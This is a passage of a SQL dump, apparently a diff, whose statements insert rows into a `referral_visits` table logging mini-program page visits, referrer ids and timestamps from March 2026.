'2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (434, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (435, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (436, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (437, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (438, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:38:22'); -INSERT INTO `referral_visits` VALUES (439, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:38:22'); -INSERT INTO `referral_visits` VALUES (440, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 06:38:23'); -INSERT INTO `referral_visits` VALUES (441, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:38:50'); -INSERT INTO `referral_visits` VALUES (442, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:38:50'); -INSERT INTO `referral_visits` VALUES (443, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:51'); -INSERT INTO `referral_visits` VALUES (444, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:57'); -INSERT INTO `referral_visits` VALUES (445, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:57'); -INSERT INTO `referral_visits` VALUES (446, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:39:10'); -INSERT INTO `referral_visits` VALUES (447, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (448, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (449, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (450, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (451, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (452, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (453, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (454, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (455, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (456, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (457, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (458, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (459, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (460, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (461, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (462, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (463, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (464, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (465, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (466, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (467, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (468, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (469, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (470, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (471, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:42'); -INSERT INTO `referral_visits` VALUES (472, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:42'); -INSERT INTO `referral_visits` VALUES (473, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (474, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (475, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (476, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:51:13'); -INSERT INTO `referral_visits` VALUES (477, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (478, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (479, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (480, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:52:33'); -INSERT INTO `referral_visits` VALUES (481, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (482, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (483, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (484, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (485, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (486, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:13'); -INSERT INTO `referral_visits` VALUES (487, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:13'); -INSERT INTO `referral_visits` VALUES (488, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (489, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (490, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (491, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 07:04:12'); -INSERT INTO `referral_visits` VALUES (492, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (493, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (494, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (495, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (496, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (497, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (498, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (499, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (500, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (501, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (502, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (503, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (504, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (505, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (506, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (507, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:21'); -INSERT INTO `referral_visits` VALUES (508, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (509, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (510, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (511, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (512, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (513, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (514, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:59'); -INSERT INTO `referral_visits` VALUES (515, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (516, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (517, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (518, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:31'); -INSERT INTO `referral_visits` VALUES (519, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:31'); -INSERT INTO `referral_visits` VALUES (520, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:32'); -INSERT INTO `referral_visits` VALUES (521, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (522, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (523, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (524, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (525, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (526, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:12:57'); -INSERT INTO `referral_visits` VALUES (527, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (528, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (529, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (530, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:15:20'); -INSERT INTO `referral_visits` VALUES (531, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (532, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (533, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (534, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (535, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (536, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (537, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (538, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (539, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (540, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (541, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (542, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (543, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:05'); -INSERT INTO `referral_visits` VALUES (544, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:05'); -INSERT INTO `referral_visits` VALUES (545, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (546, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (547, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:54'); -INSERT INTO `referral_visits` VALUES (548, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (549, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (550, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 09:48:03'); -INSERT INTO `referral_visits` VALUES (551, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-10 10:52:49'); -INSERT INTO `referral_visits` VALUES (552, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', NULL, '2026-03-10 10:52:49'); -INSERT INTO `referral_visits` VALUES (553, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 10:52:50'); -INSERT INTO `referral_visits` VALUES (554, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (555, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (556, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:14'); -INSERT INTO `referral_visits` VALUES (557, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:47'); -INSERT INTO `referral_visits` VALUES (558, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:53:57'); -INSERT INTO `referral_visits` VALUES (559, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/index/index', '2026-03-10 10:54:26'); -INSERT INTO `referral_visits` VALUES (560, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:26'); -INSERT INTO `referral_visits` VALUES (561, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:39'); -INSERT INTO `referral_visits` VALUES (562, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:54:57'); -INSERT INTO `referral_visits` VALUES (563, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:55:05'); -INSERT INTO `referral_visits` VALUES (564, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-10 10:55:10'); -INSERT INTO `referral_visits` VALUES (565, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (566, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (567, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:05:50'); -INSERT INTO `referral_visits` VALUES (568, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:26'); -INSERT INTO `referral_visits` VALUES (569, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:26'); -INSERT INTO `referral_visits` VALUES (570, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (571, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (572, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:06:27'); -INSERT INTO `referral_visits` VALUES (573, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (574, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (575, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:07:08'); -INSERT INTO `referral_visits` VALUES (576, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:11:42'); -INSERT INTO `referral_visits` VALUES (577, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (578, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (579, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:12:44'); -INSERT INTO `referral_visits` VALUES (580, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:16'); -INSERT INTO `referral_visits` VALUES (581, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 11:14:16'); -INSERT INTO `referral_visits` VALUES (582, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:14:18'); -INSERT INTO `referral_visits` VALUES (583, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 11:14:18'); -INSERT INTO 